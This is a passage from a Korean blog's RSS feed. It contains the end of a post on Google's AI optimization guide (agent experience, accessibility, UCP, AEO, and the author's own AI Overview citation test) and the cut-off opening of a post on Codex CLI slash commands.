 &lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;985&quot; data-origin-height=&quot;538&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQ25gP/dJMb99NagCx/KNKtEz87hnNFZx6mIOnvLK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQ25gP/dJMb99NagCx/KNKtEz87hnNFZx6mIOnvLK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQ25gP/dJMb99NagCx/KNKtEz87hnNFZx6mIOnvLK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQ25gP%2FdJMb99NagCx%2FKNKtEz87hnNFZx6mIOnvLK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;985&quot; height=&quot;538&quot; data-origin-width=&quot;985&quot; data-origin-height=&quot;538&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
 
 &lt;p data-ke-size=&quot;size16&quot;&gt;이 세 가지 방식 모두에서 잘 동작하는 사이트가 에이전트 시대에 유리하다. 그리고 접근성 최적화의 의미가 달라진다. 장애인 사용자를 위한 배려였던 게, AI 에이전트가 사이트를 정확히 읽어내기 위한 조건으로도 바뀌는 것이다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Universal Commerce Protocol(UCP) — 커머스 에이전트의 공통 언어&lt;/h3&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;Google은 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://blog.google/products/ads-commerce/agentic-commerce-ai-tools-protocol-retailers-platforms/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;UCP(Universal Commerce Protocol)&lt;/a&gt;를 2026년 1월에 발표했다. AI 에이전트가 쇼핑 전체 여정에 걸쳐 더 많은 작업을 할 수 있도록 지원하는 개방형 표준 프로토콜이다.&lt;/p&gt; 
 &lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;994&quot; data-origin-height=&quot;539&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boUsV1/dJMcacpDZ9T/ioaDZ9EhqDQenvCXh2wPwK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boUsV1/dJMcacpDZ9T/ioaDZ9EhqDQenvCXh2wPwK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boUsV1/dJMcacpDZ9T/ioaDZ9EhqDQenvCXh2wPwK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FboUsV1%2FdJMcacpDZ9T%2FioaDZ9EhqDQenvCXh2wPwK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;994&quot; height=&quot;539&quot; data-origin-width=&quot;994&quot; data-origin-height=&quot;539&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
 
 &lt;p data-ke-size=&quot;size16&quot;&gt;현재는 초기 단계다. 그러나 방향은 명확하다:&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;AI 에이전트가 검색만 하는 것이 아니라 웹에서 직접 거래와 예약을 처리하는 시대가 온다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;이커머스 운영자라면 Merchant Center와 Business Profile을 최신 상태로 유지하는 것이 에이전트 커머스 시대의 가장 현실적인 준비다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;AEO — 에이전트가 '사용할 수 있는' 콘텐츠&lt;/h3&gt; 
 &lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1365&quot; data-origin-height=&quot;736&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cYiBFG/dJMcacwpKSM/CUaxUIUkXTSu3dlMLD4hy0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cYiBFG/dJMcacwpKSM/CUaxUIUkXTSu3dlMLD4hy0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cYiBFG/dJMcacwpKSM/CUaxUIUkXTSu3dlMLD4hy0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcYiBFG%2FdJMcacwpKSM%2FCUaxUIUkXTSu3dlMLD4hy0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1365&quot; height=&quot;736&quot; data-origin-width=&quot;1365&quot; data-origin-height=&quot;736&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
 
 &lt;p data-ke-size=&quot;size16&quot;&gt;Search Engine Land는 이 가이드가 &quot;에이전트 엔진 최적화(AEO)&quot;의 방향을 제시한다고 해설했다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://searchengineland.com/agentic-engine-optimization-google-ai-director-474358&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Google Cloud AI Engineering Director인 Addy Osmani&lt;/a&gt;는 AEO를 &quot;AI 에이전트가 단순히 렌더링하는 것이 아니라 사용할 수 있도록 기술 콘텐츠를 구조화하고 제공하는 실천&quot;으로 정의했다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;'렌더링(rendering)'과 '사용(use)'의 차이가 핵심이다. 지금까지 SEO는 검색엔진이 콘텐츠를 찾아 보여주는 것에 집중했다. 에이전트 시대는 다르다. AI가 &quot;강남 맛집 예약해줘&quot;라는 요청을 받으면, 검색 결과를 보여주는 데서 끝나지 않고 직접 예약까지 처리한다. 내 사이트의 콘텐츠를 AI가 그런 작업에 활용할 수 있는지가 새로운 기준이 된다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;내 블로그에 직접 대입해보니&lt;/h3&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;이 가이드를&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://goddaehee.tistory.com/&quot;&gt;내 블로그(goddaehee.tistory.com)&lt;/a&gt;에 직접 대입해봤다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;결론부터 말하면, 손볼 게 몇군데 있다. alt text 누락이 많다. (정말 귀찮다 ㅠㅠ). 그리고 H1 → H3으로 건너뛰는 헤딩 구조가 있었다. llms.txt나 AI 전용 마크업 같은 것보다 이쪽을 손보는게 먼저일 것 이다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;Search Console에서 AI Overview 인용 여부를 확인하는 공식 방법이 있긴 하다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;실적 리포트의 &quot;+ 필터 추가&quot; → 검색 결과 유형 → &quot;AI 개요&quot;를 선택하면 AI Overview에 등장한 쿼리와 노출수를 볼 수 있다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;하지만 2026년 5월 기준 이 필터는 아직 모든 계정에 제공되지 않는 것 같다 — goddaehee.com 독립 도메인 포함 여러 속성에서 확인해봤지만 필터 자체가 나타나지 않았다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;구글이 전체 롤아웃을 완료하지 않은 것 같은데 이 내용도 추적 갱신해야겠다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;현재로선 타겟 쿼리를 &lt;b&gt;시크릿 창에서 직접 검색&lt;/b&gt;해 AI Overview 박스에 내 URL이 인용됐는지 확인하는 것이 가장 실용적인 방법이다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;한 가지 테스트한 사실이 있다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&quot;codex 설치&quot; 쿼리에서 내 블로그가 오가닉 2위에 랭크됐는데도 AI Overview에는 인용되지 않았다.&lt;/p&gt; 
 &lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cDwvOy/dJMcahEqPsE/NJCW26MitX1YBVDbd0RZJ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cDwvOy/dJMcahEqPsE/NJCW26MitX1YBVDbd0RZJ1/img.png&quot; data-origin-width=&quot;2056&quot; data-origin-height=&quot;1614&quot; data-is-animation=&quot;false&quot; style=&quot;width: 61.8211%; margin-right: 10px;&quot; data-widthpercent=&quot;62.55&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cDwvOy/dJMcahEqPsE/NJCW26MitX1YBVDbd0RZJ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcDwvOy%2FdJMcahEqPsE%2FNJCW26MitX1YBVDbd0RZJ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2056&quot; height=&quot;1614&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/diS2YJ/dJMcagS6S3T/YMOnZY0unPdRCP6BFt48k1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/diS2YJ/dJMcagS6S3T/YMOnZY0unPdRCP6BFt48k1/img.png&quot; data-origin-width=&quot;1138&quot; data-origin-height=&quot;1492&quot; data-is-animation=&quot;false&quot; style=&quot;width: 37.0161%;&quot; data-widthpercent=&quot;37.45&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/diS2YJ/dJMcagS6S3T/YMOnZY0unPdRCP6BFt48k1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdiS2YJ%2FdJMcagS6S3T%2FYMOnZY0unPdRCP6BFt48k1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1138&quot; height=&quot;1492&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
 
 &lt;p data-ke-size=&quot;size16&quot;&gt;검색 순위 상위 = AI Overview 인용이 아니라는 것을 데이터로 직접 봤다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;AI Overview는 별도의 콘텐츠 선정 기준을 갖고 있고, Google 가이드가 말하는 &quot;비상품형 고유 인사이트&quot;가 그 기준에 더 가깝게 맞아야 한다는 의미가 아닐까?&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;이 글 자체가 비상품형 콘텐츠 기준을 충족하는지도 솔직히 모른다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;다만 가이드의 핵심 — &quot;좋은 콘텐츠와 건강한 기술 구조&quot; — 은 새로운 얘기가 아니어서, 기존에 해오던 방향이 크게 틀리지 않았다는 방향, 나의 경우에도 SEO의 기본부터 충실하자는 입장이었는데 이런 방향성에 대한 확인이 된 것 같아 좋았다.&lt;/p&gt; &lt;!-- 섹션 8 --&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;h2 id=&quot;section-8&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 결론: 지금 무엇을 해야 하는가&lt;/b&gt;&lt;/h2&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;Google AIO 가이드가 확인한 것은 하나다:&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;AI 검색 시대에도 좋은 콘텐츠와 건강한 기술 구조가 기본이다. AEO·GEO라는 새 약어는 SEO를 재포장한 것에 불과하고, llms.txt·콘텐츠 청킹·AI 전용 마크업은 Google 검색 기준으로 시간 낭비다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;단, 에이전트 경험 섹션은 다르다. 이것은 현재가 아니라 미래를 말한다. 브라우저 에이전트가 스크린샷·DOM·접근성 트리로 웹을 탐색하고, UCP 같은 프로토콜로 구매까지 처리하는 시대가 오면, 기술 구조의 의미가 달라진다. 접근성은 보너스가 아니라 에이전트 호환성의 기준이 된다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;974&quot; data-origin-height=&quot;527&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cUsoCx/dJMcaffCY9z/lmFm8lprBj6CJsMAKwRAz0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cUsoCx/dJMcaffCY9z/lmFm8lprBj6CJsMAKwRAz0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cUsoCx/dJMcaffCY9z/lmFm8lprBj6CJsMAKwRAz0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcUsoCx%2FdJMcaffCY9z%2FlmFm8lprBj6CJsMAKwRAz0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;974&quot; height=&quot;527&quot; data-origin-width=&quot;974&quot; data-origin-height=&quot;527&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;!-- Q&amp;A 박스 --&gt; 
 &lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 25px 0;&quot;&gt; 
  &lt;p style=&quot;margin: 0 0 15px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;지금 즉시 해야 할 것&lt;/b&gt;&lt;/p&gt; 
  &lt;ul style=&quot;margin: 0 0 18px 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt; 
   &lt;li&gt;비상품형, 독자적 인사이트가 담긴 콘텐츠를 만든다&lt;/li&gt; 
   &lt;li&gt;Search Console 오류를 해결하고 크롤링 환경을 정비한다&lt;/li&gt; 
   &lt;li&gt;JavaScript 렌더링 차단 여부를 확인한다&lt;/li&gt; 
  &lt;/ul&gt; 
  &lt;p style=&quot;margin: 0 0 15px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;중단해야 할 것&lt;/b&gt;&lt;/p&gt; 
  &lt;ul style=&quot;margin: 0 0 18px 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt; 
   &lt;li&gt;llms.txt 제작, 콘텐츠 청킹, AI 전용 마크업에 투자한다&lt;/li&gt; 
   &lt;li&gt;AEO·GEO라는 이름의 'AI SEO' 서비스에 비용을 쓴다&lt;/li&gt; 
   &lt;li&gt;브랜드 언급을 인위적으로 조작하려 한다&lt;/li&gt; 
  &lt;/ul&gt; 
  &lt;p style=&quot;margin: 0 0 15px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;관심 갖고 지켜볼 것&lt;/b&gt;&lt;/p&gt; 
  &lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt; 
   &lt;li&gt;접근성(accessibility) 최적화 — 에이전트 시대의 기술 구조 기반&lt;/li&gt; 
   &lt;li&gt;UCP(Universal Commerce Protocol) — 이커머스 에이전트 시대의 공통 언어&lt;/li&gt; 
   &lt;li&gt;Business Agent — AI가 브랜드 대화를 중개하는 경험&lt;/li&gt; 
  &lt;/ul&gt; 
 &lt;/div&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;공식 가이드 전문은 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.google.com/search/docs/fundamentals/ai-optimization-guide&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Google AI 최적화 가이드&lt;/a&gt;에서 확인할 수 있다. AI 검색이 빠르게 진화하고 있으므로, 가이드 업데이트를 주기적으로 확인하는 것이 좋다.&lt;/p&gt; &lt;!-- 독자 적용 체크리스트 --&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;div style=&quot;background: #f0f8f0; border: 1px solid #c3e6c3; border-radius: 10px; padding: 20px 25px; margin: 20px 0;&quot;&gt; 
  &lt;p style=&quot;margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size16&quot;&gt;내 블로그·사이트에 적용해볼 것 (AIO 체크리스트)&lt;/p&gt; 
  &lt;ol style=&quot;margin: 0; padding-left: 22px;&quot; data-ke-list-type=&quot;decimal&quot;&gt; 
   &lt;li&gt;AI 검색 결과에서 인용될 가능성이 있는 내 글 3개를 뽑아본다 — '비상품형'인지 확인한다 (원본 분석·경험·데이터가 있는가?)&lt;/li&gt; 
   &lt;li&gt;최근 발행 글의 &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; 태그 중 alt text 없는 것을 카운트한다 (목표: 0개)&lt;/li&gt; 
   &lt;li&gt;헤딩 구조를 확인한다 — H1 → H2 → H3 계층이 맞는지, H2 없이 H3으로 건너뛰는 곳은 없는지&lt;/li&gt; 
   &lt;li&gt;AI Overview 인용 여부를 확인한다 — Search Console 실적 리포트의 &quot;AI 개요&quot; 필터는 아직 모든 계정에 제공되지 않는다. 가장 확실한 방법은 타겟 쿼리를 시크릿 창에서 직접 검색해 AI Overview 박스에 내 URL이 뜨는지 확인하는 것이다.&lt;/li&gt; 
   &lt;li&gt;llms.txt, 콘텐츠 청킹, AI 전용 마크업 투자 계획이 있다면 일단 보류한다 — Google 검색 기준으로는 현재 효과 없음&lt;/li&gt; 
  &lt;/ol&gt; 
 &lt;/div&gt; &lt;!-- 참고자료 --&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;h2 id=&quot;section-ref&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;참고자료&lt;/b&gt;&lt;/h2&gt; 
 &lt;ul style=&quot;padding-left: 20px; margin: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt; 
  &lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.google.com/search/docs/fundamentals/ai-optimization-guide&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Google AI 최적화 가이드 (공식 문서)&lt;/a&gt;&lt;/li&gt; 
  &lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://searchengineland.com/google-publishes-guide-on-optimizing-for-generative-ai-features-477671&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Search Engine Land — Google publishes guide on optimizing for generative AI features&lt;/a&gt;&lt;/li&gt; 
  &lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://searchengineland.com/agentic-engine-optimization-google-ai-director-474358&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Search Engine Land — Agentic Engine Optimization (Addy Osmani)&lt;/a&gt;&lt;/li&gt; 
  &lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.searchenginejournal.com/llms-txt-for-ai-seo/556576/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Search Engine Journal — llms.txt for AI SEO (John Mueller 코멘트)&lt;/a&gt;&lt;/li&gt; 
  &lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://ppc.land/googles-new-guide-for-ai-search-what-seo-really-needs-now/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;ppc.land — Google's new guide for AI search (Brainlabs 데이터 포함)&lt;/a&gt;&lt;/li&gt; 
  &lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.omnius.so/industry-updates/google-adds-llms-txt-to-docs-after-publicly-dismissing-it&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Omnius — Google adds llms.txt to docs after publicly dismissing it&lt;/a&gt;&lt;/li&gt; 
  &lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://blog.google/products/ads-commerce/agentic-commerce-ai-tools-protocol-retailers-platforms/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Google Blog — Agentic Commerce &amp;amp; Universal Commerce Protocol&lt;/a&gt;&lt;/li&gt; 
 &lt;/ul&gt; &lt;!-- 푸터 --&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;div style=&quot;background-color: #f8fbff; padding: 18px 22px; border-radius: 8px; border: 1px solid #cce5ff; margin: 30px 0 10px 0; font-size: 14px; color: #555;&quot;&gt; 
  &lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작성일&lt;/b&gt;: 2026년 5월 18일&lt;/p&gt; 
  &lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;분석 대상&lt;/b&gt;: Google AI Optimization Guide (2026년 5월 기준)&lt;/p&gt; 
  &lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;⚠️ 이 글의 내용은 공식 문서 기반이며, Google 정책 변경에 따라 내용이 달라질 수 있다. 중요한 결정 전에는 최신 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.google.com/search/docs/fundamentals/ai-optimization-guide&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Google AI 최적화 가이드&lt;/a&gt;를 확인한다.&lt;/p&gt; 
 &lt;/div&gt; 
&lt;/div&gt;</description>
      <category>AI/AI 이슈와 생각들</category>
      <category>AEO GEO 차이</category>
      <category>AI Mode 검색 최적화</category>
      <category>AI Overview SEO</category>
      <category>AI 검색 대응 방법</category>
      <category>Google AI 공식 가이드</category>
      <category>Google AI 최적화 가이드</category>
      <category>Google AIO 가이드</category>
      <category>llms.txt 불필요</category>
      <category>생성형 AI 검색 노출</category>
      <category>에이전트 경험 웹</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/604</guid>
      <comments>https://goddaehee.tistory.com/604#entry604comment</comments>
      <pubDate>Tue, 19 May 2026 18:30:51 +0900</pubDate>
    </item>
    <item>
      <title>Codex CLI 입문(8) : 슬래시 명령어 정리 - Codex 슬래시 명령어 사용방법</title>
      <link>https://goddaehee.tistory.com/603</link>
      <description>&lt;!-- 래퍼 1: 인트로 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 래퍼 2: 본문 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2740&quot; data-origin-height=&quot;1548&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bIQ4K6/dJMcai4mSnO/hVXP2Ce4U2OO6R7vaOkGi1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bIQ4K6/dJMcai4mSnO/hVXP2Ce4U2OO6R7vaOkGi1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bIQ4K6/dJMcai4mSnO/hVXP2Ce4U2OO6R7vaOkGi1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbIQ4K6%2FdJMcai4mSnO%2FhVXP2Ce4U2OO6R7vaOkGi1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2740&quot; height=&quot;1548&quot; data-origin-width=&quot;2740&quot; data-origin-height=&quot;1548&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;codex CLI 안에서 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/&lt;/code&gt;를 누르면 명령이 한꺼번에 쏟아져서 어떤 것부터 익혀야 할지 망설이게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에는&amp;nbsp;&lt;b&gt;Codex CLI의 슬래시 명령어&lt;/b&gt; 들을 정리 해보려 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞부분은 초보자용 사전, 뒷부분은 기존 글에서 정리해 둔 &lt;b&gt;config.toml 키 사전과 CLI 플래그 사전&lt;/b&gt;을 부록으로 작성해보려 한다.&lt;/p&gt;
&lt;!-- 버전 고지 박스 --&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 10px 15px; border-radius: 6px; border: 1px solid #dee2e6; margin: 15px 0; font-size: 14px; color: #6c757d;&quot;&gt;이 글은 &lt;b&gt;2026년 5월&lt;/b&gt; 기준 &lt;b&gt;codex-cli 0.130.0&lt;/b&gt; 공식 문서(&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/cli/slash-commands&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;developers.openai.com/codex/cli/slash-commands&lt;/a&gt;)와 릴리즈 노트를 바탕으로 작성되었다. 슬래시 명령 목록은 릴리즈마다 추가&amp;middot;제거가 있으므로, 자신의 설치 버전에서 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/&lt;/code&gt; 입력으로 popup을 띄워 직접 확인하기를 권장한다.&lt;/div&gt;
&lt;!-- 시리즈 박스 --&gt;
&lt;div style=&quot;background-color: #e8f4f8; border: 2px solid #0066cc; border-radius: 8px; padding: 15px; margin: 20px 0;&quot;&gt;&lt;b&gt;OpenAI Codex 개발자 시리즈&lt;/b&gt;
